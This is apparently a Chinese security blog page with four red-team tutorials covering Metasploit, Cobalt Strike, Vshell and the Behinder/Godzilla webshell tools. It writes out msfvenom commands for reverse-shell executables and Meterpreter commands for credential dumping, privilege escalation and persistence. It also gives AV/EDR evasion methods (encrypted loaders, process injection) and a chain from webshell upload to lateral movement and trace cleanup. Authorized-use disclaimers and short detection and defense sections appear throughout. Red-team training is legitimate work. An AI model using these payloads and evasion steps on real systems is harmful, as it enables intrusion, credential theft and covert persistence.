免杀 on SoulJian小站

MSF 深度实战：模块、Payload 与后渗透

Sat, 29 Aug 2026 23:55:00 +0800

写在前面：合法学习边界

MSF 仅用于授权测试。对非授权目标利用、后渗透可能触犯法律。

一、MSF 的构成

1
2
3
4


msfconsole：主控制台
模块：exploit / payload / auxiliary / post / encoder
msfvenom：独立 payload 生成器
数据库：记录扫描与主机信息

二、基础操作（深化）

1
2
3
4
5
6
7
8


msfdb init # 初始化数据库
msfconsole
db_nmap 192.168.1.10 # 结果入数据库
search type:exploit name:xxx # 搜模块
use exploit/... # 选择
show options / set RHOSTS / run
sessions -l / sessions -i 1 # 会话管理
jobs -l / jobs -K # 后台任务

三、msfvenom 生成 Payload（正反向）

反向（reverse，目标出网）

1
2
3


msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# Linux / 其他格式
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f elf -o shell

正向（bind，目标只能进不能出）

1

msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

常用格式

1

exe / elf / msi / ps1 / py / php / asp / war

四、免杀思路（授权内）

1
2
3
4
5
6


1. 编码（shikata_ga_nai）—— 老方法，多数已失效
2. 加壳/混淆 —— 降低静态特征
3. 加载器 —— shellcode 加密 + 白名单程序加载
4. 进程注入 —— 内存运行，不落地文件
5. 换 payload/改特征 —— 减少已知签名
注意：免杀是与杀软/EDR 的持续对抗

五、Meterpreter 后渗透

1
2
3
4
5
6
7
8
9


sysinfo / getuid # 基本信息
getsystem # 提权到 SYSTEM
run post/multi/recon/local_exploit_suggester # 本地提权建议
hashdump # 抓哈希
load kiwi / creds_all # mimikatz 抓凭据
ps / migrate # 进程注入
download / upload # 文件
run persistence # 持久化
shell # 系统 Shell

六、横向与提权

1
2
3
4


提权：getsystem + local_exploit_suggester
横向：抓哈希后配合 psexec/wmiexec 模块
auxiliary/scanner/smb/smb_ms17_010：探测永恒之蓝
exploit/windows/smb/ms17_010_eternalblue：利用

完整操作步骤

1
2
3
4
5
6


第 1 步：msfdb init 并启动 msfconsole
第 2 步：按目标出网情况用 msfvenom 生成正反向 payload
第 3 步：起 handler 监听，投递执行
第 4 步：Meterpreter 会话后渗透（getsystem/hashdump）
第 5 步：横向提权、持久化
第 6 步：注意免杀与特征

七、小结

MSF 的核心是“模块化 + 会话 + 后渗透”。用 msfvenom 生成正反向 payload、用 meterpreter 做提权抓凭据、用模块做横向，是一条完整链路。但 MSF 特征明显，免杀要单独处理；配合手工验证和 C2 平台使用效果更好。

Cobalt Strike 深度实战：木马生成、正反向与插件

Sat, 29 Aug 2026 23:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权项目。非授权上线可能触犯法律。

一、正反向 Listener 与木马

反向连接（Reverse，最常用）

1
2
3


原理：目标主动连回攻击机
场景：目标可出网
Listener：windows/beacon_http_reverse_tcp、reverse_https

正向连接（Bind）

1
2
3


原理：目标开放端口，攻击机连过去
场景：目标只能进不能出（防火墙/隔离网）
Listener：windows/beacon_bind_tcp

Staged vs Stageless

1
2
3
4


Staged：先跑小段加载器，再从服务器拉完整 beacon
 体积小、隐蔽性好，但依赖分段下载
Stageless：完整 beacon 打进 exe
 体积大、更稳，常用于避免分段被拦

二、生成木马

界面生成

1
2
3
4
5


Attacks → Packages
Windows Executable（Staged/Stageless）
Windows Executable(S)：可分片
Scripted Web Delivery：远程加载
HTML Application / MS Office Macro：钓鱼投递

msfvenom 配合（正反向）

1
2
3
4


# 反向
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# 正向
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

三、上线与后渗透

1
2
3


投递木马 → 目标执行 → 会话上线
常用命令：shell、upload/download、screenshot、
migrate、getsystem、hashdump、mimikatz、socks

四、插件（CNA / Aggressor）

1
2
3
4
5
6
7


Cobalt Strike 用 CNA（Aggressor Script）做扩展
常用插件类型：
 免杀/加载器
 CrossC2：Linux/macOS beacon
 各类信息收集/横向辅助
 GitHub 上有大量开源插件
加载：Script Manager → Load

五、免杀思路（授权内）

1
2
3
4
5
6
7


1. 改 C2 Profile：自定义流量特征（URI、UA、伪造流量）
2. 改监听端口、sleep、jitter，降低固定特征
3. 加载器免杀：shellcode 加密 + 白名单程序加载
 （rundll32 / mshta / powershell / 白文件）
4. 进程注入：注入白进程内存运行，不落地文件
5. 加壳/混淆：降低静态特征
6. 免杀是与杀软/EDR 的持续对抗，授权内测试

六、检测（对立面）

1
2
3
4
5


默认 Beacon 特征：固定端口/UA/流量指纹
内存特征、异常进程注入
mimikatz/hashdump 行为
回连域名/固定时间片
EDR 都能识别默认 CS → 必须改特征

完整操作步骤

1
2
3
4
5
6


第 1 步：启动 teamserver，连接 Client
第 2 步：按目标出网情况选正反向 Listener
第 3 步：生成 payload（Staged/Stageless），投递执行
第 4 步：确认上线，做基础后渗透（shell/mimikatz）
第 5 步：建 Socks 隧道、横向移动
第 6 步：改特征/免杀，做权限维持

七、小结

CS 深化的关键是：正反向连接选对场景、Staged/Stageless 选对投递、插件扩展能力、免杀要改特征。木马生成不只是“点一下生成”，还要考虑目标出不出网、杀软/EDR 能不能过、流量像不像真的。攻防双方都在研究它的指纹。

Vshell 深度实战：功能模块与免杀

Sat, 29 Aug 2026 23:30:00 +0800

写在前面：合法学习边界

Vshell 是后渗透工具，仅用于授权测试。对非授权目标上线 Agent 可能触犯法律。

一、Vshell 定位

Vshell 是国内轻量级 C2/后渗透平台，核心是“一台服务端管理多台主机”，功能覆盖上线、控制、隧道、横向，界面和上手比 CS 轻。

1

服务端 + Agent：Windows/Linux 均支持

二、服务端部署

1
2
3


# Linux 运行服务端，设置连接口令
./Vshell_linux_amd64 -token YourToken
# 默认监听端口（web 管理 + 回连监听）

1

注意：Vshell 默认特征明显，授权内使用，别在公网裸跑

三、生成 Agent（正反向）

反向（默认）

1
2


目标主动连回服务端
适用：目标可出网

正向（Bind）

1
2


目标开端口，服务端连过去
适用：目标只能进不能出（边界环境）

生成方式

1
2
3


选择目标系统（Windows/Linux）
选择架构（x86/x64）
生成 exe/elf 或脚本

四、Agent 上线与控制

1
2
3
4
5
6


目标执行 → 服务端出现主机
功能：
 命令执行
 文件管理（上传/下载）
 端口/进程查看
 注册表/计划任务（持久化辅助）

五、隧道与横向

1
2
3


Socks5 代理：让本地访问目标内网
端口转发：把内网端口映射出来
横向：配合抓取凭据/哈希登录其他主机

1
2


# 本地走 socks 访问内网
proxychains4 nmap -sT -Pn 内网IP

六、免杀思路（授权内）

1
2
3
4
5


1. 改特征：端口、回连路径、流量指纹
2. 加载器：shellcode 加密 + 白名单程序加载（rundll32/mshta/powershell）
3. 进程注入：注入白进程内存中运行
4. 加壳/混淆：降低静态特征
5. 注意：免杀是独立课题，实时对抗，授权使用

七、与 Cobalt Strike 对比

1
2
3


相同：服务端 + Agent、上线、隧道、横向
区别：Vshell 更轻、国产、上手快；CS 生态/插件更成熟
选型：看场景与团队习惯

八、检测（对立面）

1
2
3
4


Agent 固定流量特征、固定回连结构
异常外联、非常规端口
进程/文件特征可被 EDR 识别
服务端 IP/端口作为 IOC

完整操作步骤

1
2
3
4
5
6


第 1 步：Linux 启动服务端并设置口令
第 2 步：按目标出网情况选正反向生成 Agent
第 3 步：投递 Agent，确认上线
第 4 步：命令执行/文件管理/抓凭据
第 5 步：开 Socks/端口转发进内网
第 6 步：改特征免杀、权限维持

九、小结

Vshell 让“单点失陷 → 集群控制”变得很轻量。用它会生成正反向 Agent、隧道、横向是核心；防守端要抓异常外联、Agent 特征和 EDR 告警。和 CS 一样，授权使用 + 注意特征两件事都要做。

冰蝎与哥斯拉：WebShell 管理实战

Sat, 29 Aug 2026 16:50:00 +0800

写在前面：合法学习边界

冰蝎/哥斯拉仅用于授权测试。上传 WebShell 属于高风险行为，禁止在非授权系统使用。

一、工具定位

WebShell 一旦被上传，就需要一个“管理端”来连接和操作。冰蝎与哥斯拉是两类主流工具：

1
2


冰蝎（Behinder）：PHP/JSP/ASP 等，流量 AES 加密
哥斯拉（Godzilla）：Java 编写，多语言支持，功能更全

它们的特点是流量加密、行为隐蔽，常用于绕过 WAF 和日志检测。

二、冰蝎使用

生成服务端脚本

1
2
3


客户端选择目标语言（PHP/JSP/ASP）
生成 webshell.php（内置 AES 密钥）
上传到目标 Web 目录

连接

1
2
3


URL 填 shell 地址
密码填生成时的连接密码
默认密钥 3cb8b8f1e0f9d4c9... 可改

功能

1
2
3
4


命令执行
文件管理
数据库管理
反弹 Shell

细节与特征（务必注意）

1
2
3
4


默认密钥固定 → 安全设备可识别
请求特征：固定 Content-Length、特殊 UA、AES 加密密文
冰蝎 4.0 默认密钥特征明显
改密钥/加流量伪装可降低特征，但仍是检测重点

三、哥斯拉使用

生成 Payload

1
2
3


生成模式选 Java（或 PHP/ASPX）
输出一个脚本文件（如 shell.jsp）
上传到目标

连接

1
2


URL + 密钥 + Payload 类型
支持 Fofa 批量扫描在线管理

功能

1
2
3
4


命令执行、虚拟终端
文件管理、数据库
内存马、免杀拓展
Socks 代理

细节与特征

1
2
3


哥斯拉 payload 默认特征（固定开头/密钥串）
流量加密但握手与结构可被识别
常用检测：流量特征 + 内存特征 + 文件特征

四、实战流程（授权环境）

1
2
3
4


1. 通过漏洞拿到上传点/写入点
2. 上传 shell（用冰蝎/哥斯拉生成）
3. 管理端连接、确认命令执行
4. 提权、横向、清理痕迹

影响与风险

WebShell 一旦被管理工具接管：

1
2
3


服务器被持续远程控制
数据窃取、内网横向
被用于挖矿、勒索、架设跳板

风险等级：严重。加密流量让它在日志里更难被发现。

完整操作步骤

1
2
3
4
5


第 1 步：通过漏洞拿到上传/写入点
第 2 步：用冰蝎/哥斯拉生成对应语言 shell
第 3 步：上传并在管理端连接、确认执行
第 4 步：改密钥/流量伪装降低特征
第 5 步：提权、横向、清理痕迹

五、检测（对立面）

1
2
3
4
5


特征密钥/密文/UA/Content-Length 指纹
Web 目录非常规文件扫描
流量解密识别（解密后看命令）
EDR 内存马检测
日志中可疑上传与异常访问

六、防御与清理

1
2
3
4


上传校验 + 目录不可执行 + WAF
定期扫描 WebShell 特征
发现后：取证 → 隔离 → 清理 → 追入侵链路
对被杀进程/内存马做专项清理

修复

1
2
3
4
5


发现后先取证，保留现场再清理
删除 WebShell 文件并排查同目录异常文件
清理内存马与相关进程
追查上传入口，修复对应漏洞
复测：文件与内存特征均消失

七、小结

冰蝎/哥斯拉把 WebShell 从“能执行”变成“好管理”，核心价值是流量加密与功能集成。但默认特征可被识别，攻防焦点就在特征上。使用时先确认授权，防御时重点抓“默认密钥+流量指纹+内存特征”。